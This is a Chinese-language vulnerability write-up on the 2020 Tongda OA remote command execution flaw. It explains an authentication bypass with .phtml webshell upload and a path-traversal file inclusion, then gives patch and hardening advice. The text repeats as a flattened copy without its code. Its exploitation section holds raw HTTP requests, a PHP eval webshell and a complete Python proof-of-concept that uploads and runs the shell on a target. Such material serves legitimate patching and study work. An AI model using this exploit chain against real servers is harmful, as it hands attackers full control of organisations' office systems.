通达oa远程命令执行
字数 1199 2025-08-15 21:31:15

通达OA远程命令执行漏洞分析与复现

漏洞概述

通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件。2020年3月,通达OA曝出存在远程命令执行漏洞,攻击者可通过构造恶意请求上传webshell等恶意文件,进而控制服务器进行文件加密勒索等操作。

影响版本

该漏洞影响范围较广,影响的版本包括:

  • V11版
  • 2017版
  • 2016版
  • 2015版
  • 2013增强版
  • 2013版

漏洞复现环境

使用通达OA V11.3版本进行复现

漏洞分析

1. 文件上传漏洞

漏洞位于ispirit/im/upload.php文件中:

  1. 认证绕过

    • 正常情况下需要通过auth.php进行登录验证
    • 但在未修复的upload.php中,如果$P参数非空,则跳过auth.php的验证
  2. 文件上传限制

    • 系统使用is_uploadable函数校验文件名
    • 该函数检查文件名是否以"php"结尾,如果是则返回false禁止上传
    • 这意味着可以上传其他扩展名的文件,如.phtml.php5
  3. 上传路径

    • 上传后的文件默认存放在MYOA/attach/im/2006/目录下
    • 由于不在web根目录,无法直接访问,需要结合文件包含漏洞利用

2. 文件包含漏洞

漏洞位于ispirit/interface/gateway.php文件中:

  1. 通过foreach循环解析JSON数据
  2. 如果键与URL重合,则获取URL值
  3. 判断URL是否为空且包含general/ispirit/module/路径
  4. 满足条件则调用include_once函数包含该URL指向的文件

漏洞利用步骤

1. 文件上传

构造上传请求包,绕过认证和文件扩展名限制:

POST /ispirit/im/upload.php HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxxxx

------WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="P"; value="1"

1
------WebKitFormBoundaryxxxx
Content-Disposition: form-data; name="FILE"; filename="shell.phtml"
Content-Type: image/jpeg

<?php eval($_POST['cmd']); ?>
------WebKitFormBoundaryxxxx--

2. 文件包含

利用文件包含漏洞执行上传的webshell:

POST /ispirit/interface/gateway.php HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

json={"url":"/general/../../attach/im/2006/shell.phtml"}

3. 获取Webshell

通过中国菜刀等工具连接webshell,获取服务器控制权限。

加固建议

通达官方已发布补丁修复此漏洞:

  1. 文件上传漏洞修复

    • 无论$P参数是否为空,都强制进行认证
  2. 文件包含漏洞修复

    • 过滤URL中的".."路径跳转符号
    • 如果检测到".."则终止程序执行

最新补丁下载地址:
http://www.tongda2000.com/news/673.php

防护措施

  1. 及时升级到最新版本并安装官方补丁
  2. 限制上传文件类型,仅允许业务必需的文件格式
  3. 对上传文件进行重命名和内容检查
  4. 禁用危险函数如include_onceeval
  5. 设置文件目录不可执行权限
  6. 部署WAF防护设备拦截恶意请求

参考POC代码

import requests

target = "http://target.com"
upload_url = target + "/ispirit/im/upload.php"
gateway_url = target + "/ispirit/interface/gateway.php"

# 上传webshell
files = {'FILE': ('shell.phtml', '<?php eval($_POST["cmd"]);?>', 'image/jpeg')}
data = {'P': '1'}
r = requests.post(upload_url, files=files, data=data)
print(r.text)

# 包含执行webshell
payload = {'json': '{"url":"/general/../../attach/im/2006/shell.phtml"}'}
r = requests.post(gateway_url, data=payload)
print(r.text)

总结

该漏洞组合了文件上传和文件包含两个漏洞点,攻击者可利用此漏洞完全控制OA系统服务器。建议所有使用通达OA的用户立即检查系统版本并安装最新补丁,同时加强服务器安全防护措施。

通达OA远程命令执行漏洞分析与复现 漏洞概述 通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件。2020年3月,通达OA曝出存在远程命令执行漏洞,攻击者可通过构造恶意请求上传webshell等恶意文件,进而控制服务器进行文件加密勒索等操作。 影响版本 该漏洞影响范围较广,影响的版本包括: V11版 2017版 2016版 2015版 2013增强版 2013版 漏洞复现环境 使用通达OA V11.3版本进行复现 漏洞分析 1. 文件上传漏洞 漏洞位于 ispirit/im/upload.php 文件中: 认证绕过 : 正常情况下需要通过 auth.php 进行登录验证 但在未修复的 upload.php 中,如果 $P 参数非空,则跳过 auth.php 的验证 文件上传限制 : 系统使用 is_uploadable 函数校验文件名 该函数检查文件名是否以"php"结尾,如果是则返回false禁止上传 这意味着可以上传其他扩展名的文件,如 .phtml 、 .php5 等 上传路径 : 上传后的文件默认存放在 MYOA/attach/im/2006/ 目录下 由于不在web根目录,无法直接访问,需要结合文件包含漏洞利用 2. 文件包含漏洞 漏洞位于 ispirit/interface/gateway.php 文件中: 通过 foreach 循环解析JSON数据 如果键与URL重合,则获取URL值 判断URL是否为空且包含 general/ 、 ispirit/ 或 module/ 路径 满足条件则调用 include_once 函数包含该URL指向的文件 漏洞利用步骤 1. 文件上传 构造上传请求包,绕过认证和文件扩展名限制: 2. 文件包含 利用文件包含漏洞执行上传的webshell: 3. 获取Webshell 通过中国菜刀等工具连接webshell,获取服务器控制权限。 加固建议 通达官方已发布补丁修复此漏洞: 文件上传漏洞修复 : 无论 $P 参数是否为空,都强制进行认证 文件包含漏洞修复 : 过滤URL中的".."路径跳转符号 如果检测到".."则终止程序执行 最新补丁下载地址: http://www.tongda2000.com/news/673.php 防护措施 及时升级到最新版本并安装官方补丁 限制上传文件类型,仅允许业务必需的文件格式 对上传文件进行重命名和内容检查 禁用危险函数如 include_once 、 eval 等 设置文件目录不可执行权限 部署WAF防护设备拦截恶意请求 参考POC代码 总结 该漏洞组合了文件上传和文件包含两个漏洞点,攻击者可利用此漏洞完全控制OA系统服务器。建议所有使用通达OA的用户立即检查系统版本并安装最新补丁,同时加强服务器安全防护措施。